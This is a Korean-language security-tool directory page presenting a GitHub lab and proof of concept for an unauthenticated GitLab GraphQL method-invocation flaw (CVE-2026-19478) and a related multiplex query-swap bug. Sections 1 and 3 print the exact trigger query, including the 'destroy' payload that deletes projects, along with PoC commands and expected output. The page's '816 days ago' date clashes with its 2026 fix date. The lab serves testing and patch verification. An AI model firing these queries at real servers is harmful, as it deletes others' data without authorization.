Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
gitlab-cve-2026-19478-lab — 재현 가능한 A/B 랩 + GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)용 안전한 PoC | Kitploit
도구/GitHubGitHub/dinosn/gitlab-cve-2026-19478-lab
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingWeb SecurityPenetration TestingLabs & Practice
GitHubdinosn/gitlab-cve-2026-19478-lab

gitlab-cve-2026-19478-lab

재현 가능한 A/B 랩 + GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)용 안전한 PoC

저장소 보기
816일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-19478 — GitLab GraphQL @gl_introduced 인증 없는 임의 메서드 호출 (검증 랩 + PoC)

CVE-2026-19478(GitLab CE/EE, CVSS 9.4, Critical)에 대한 재현 가능한 A/B 랩 및 안전한 PoC. 인증되지 않은 공격자는 GraphQL로 해석된 도메인 객체에서 임의의 0-인자 Ruby 메서드를 호출할 수 있습니다 — 예: Project#destroy를 호출하여 자격 증명 없이 공개 프로젝트를 삭제.

동일 릴리스에서 수정된 관련 CVE-2026-19650(GraphQL 멀티플렉스 쿼리 스왑) PoC도 포함합니다.

승인된 보안 테스트/교육 전용입니다. 모든 것은 사용자 자신의 로컬 컨테이너에서 실행됩니다.


1. 취약점

GitLab은 GraphQL 클라이언트 지시문 **@gl_introduced(version: "X.Y.Z")**를 제공합니다(롤링 배포를 위한 전방 호환성). 쿼리가 실행 중인 서버보다 새로운 버전의 필드를 지정하면 트레이서(Gitlab::Graphql::VersionFilter::IntroducedTracer)가 정적 검증 전에 해당 필드를 제거하여 쿼리가 검증을 통과하게 한 다음, 실행 시 원본 문서를 다시 실행하고 알 수 없는 필드를 폴백으로 해석하게 합니다.

버그는 폴백에 있습니다 (lib/gitlab/graphql/version_filter/future_field_fallback.rb, 패치 전):

root@kitploit:~
def fallback_field(name:)
  GraphQL::Schema::Field.new(owner: self, name: name,
    type: GraphQL::Types::Boolean, fallback_value: nil)   # <-- no resolver
end
도구 다운로드

리졸버가 없는 GraphQL::Schema::Field는 graphql-ruby가 **object.public_send(field_name)**을 호출하여 해석합니다 (graphql-ruby lib/graphql/schema/field.rb — respond_to?(@method_sym) → public_send 분기가 fallback_value가 조회되기 전에 실행되므로 fallback_value: nil은 죽은 코드였습니다). 따라서 @gl_introduced 아래에서 클라이언트가 현재 해석 중인 객체의 0-인자 메서드와 동일한 필드 이름을 선택하면 서버가 그 메서드를 호출합니다.

공개 프로젝트를 해석하고 destroy라는 "미래 필드"를 요청하면 → 서버가 Project#destroy를 실행합니다.

  • 영향: 인증 없는 공개 프로젝트 및 사용자 데이터 수정/삭제 (CVSS 9.4, AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).
  • 영향 대상: GitLab CE/EE 18.2–18.11.10, 19.0.0–19.0.7, 19.1.0–19.1.5, 19.2.0–19.2.3.
  • 수정 버전: 18.11.11, 19.0.8, 19.1.6, 19.2.4 (2026-08-17) — 이제 폴백이 명시적인 Resolvers::NilResolver를 사용하여 nil을 반환하고 메서드를 호출하지 않습니다.

트리거 제약 조건 (실험적으로 확인됨)

  1. @gl_introduced(version:)은 서버 버전보다 커야 합니다 (99.0.0 사용).
  2. 필드 이름은 메서드 이름과 정확히 일치해야 합니다 (Ruby에서 정의된 snake_case, 예: to_param, destroy).
  3. 상위 선택에는 실제 형제 필드가 1개 이상 필요합니다 (예: id). 그렇지 않으면 필터링된 문서가 빈 선택 세트가 되어 GitLab이 "Field must have selections" 검증 오류를 반환합니다.

2. 빠른 시작 (A/B 랩: 취약한 19.2.2 vs 패치된 19.2.4)

요구 사항: Docker + docker compose, 여유 RAM 약 8GB, Python 3.

root@kitploit:~
docker compose up -d            # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh                      # waits for readiness, seeds a public project + an admin token on each instance

setup.sh는 각 인스턴스에 대해 기본 URL, 시드된 공개 프로젝트 경로(root/pub), 관리자 PAT를 출력합니다.


3. PoC 실행

3a. 탐지 (안전, 무해 — 기본값)

무해한 메서드(to_param)로 메서드 호출 프리미티브를 사용합니다. 데이터는 변경되지 않습니다.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222     # vulnerable  -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224     # patched     -> NOT VULNERABLE

예상 출력:

root@kitploit:~
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE  — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.

반면 패치된 인스턴스에서는:

root@kitploit:~
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.

3b. 파괴적 영향 증명 (옵트인 — 스스로 생성한 임시 프로젝트를 삭제)

REST API를 통해 자체 임시 공개 프로젝트를 생성한 다음(setup.sh의 관리자 토큰 필요), 인증 없는 GraphQL 공격을 통해 삭제하고 프로젝트가 사라졌는지 확인합니다.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
    --prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root

예상 출력 (취약한 버전):

root@kitploit:~
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.

패치된 인스턴스에서 동일한 실행은 프로젝트가 여전히 200 OK를 반환하고 destroy가 null임을 보고합니다.

3c. 관련 CVE-2026-19650 (멀티플렉스 쿼리 스왑) — 안전

root@kitploit:~
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222   # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224   # NOT VULNERABLE (slots isolated)

4. 자신의 인스턴스에 대한 테스트

테스트 권한이 있는 GitLab의 --url과 그 위의 공개 프로젝트를 --project로 지정하세요:

root@kitploit:~
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project

탐지는 무해합니다. 소유하지 않은 대상에는 --prove-destroy를 사용하지 마십시오.


5. 해결 방법

19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 이상으로 업그레이드하세요. 수정 사항은 폴백을 Resolvers::NilResolver를 통해 라우팅합니다(nil을 반환하며 객체 메서드를 호출하지 않음). 즉시 업그레이드할 수 없으면 프록시에서 @gl_introduced 지시문/버전 필터 경로를 차단하거나 인증 없는 GraphQL 액세스를 제한하세요.

6. 파일

파일용도
docker-compose.yml취약한 19.2.2-ce(:8222) + 패치된 19.2.4-ce(:8224) 부팅
setup.sh준비 완료까지 대기, 인스턴스별 root/pub 공개 프로젝트 + 관리자 토큰 시드
poc_cve_2026_19478.py탐지(안전) + 선택적 --prove-destroy 영향 증명
poc_cve_2026_19650.py멀티플렉스 쿼리 스왑 탐지(안전)

7. 안전 참고 사항

  • 모든 것은 사용자가 실행하는 컨테이너를 대상으로 합니다. 기본 PoC는 무해합니다.
  • --prove-destroy는 자체 임시 프로젝트를 생성하고 삭제합니다. root/pub이나 사용자의 데이터는 건드리지 않습니다.
  • 신고자: hiimguardian (CVE-2026-19478), kreep (CVE-2026-19650), GitLab HackerOne 경유. 공개 기술 공개는 패치 후 약 90일간 엠바고였습니다. 이 랩은 공개 수정 커밋 e283c6adeb3d(폴백) 및 d2ea4b971a98(멀티플렉스 스왑)에서 메커니즘을 도출했습니다.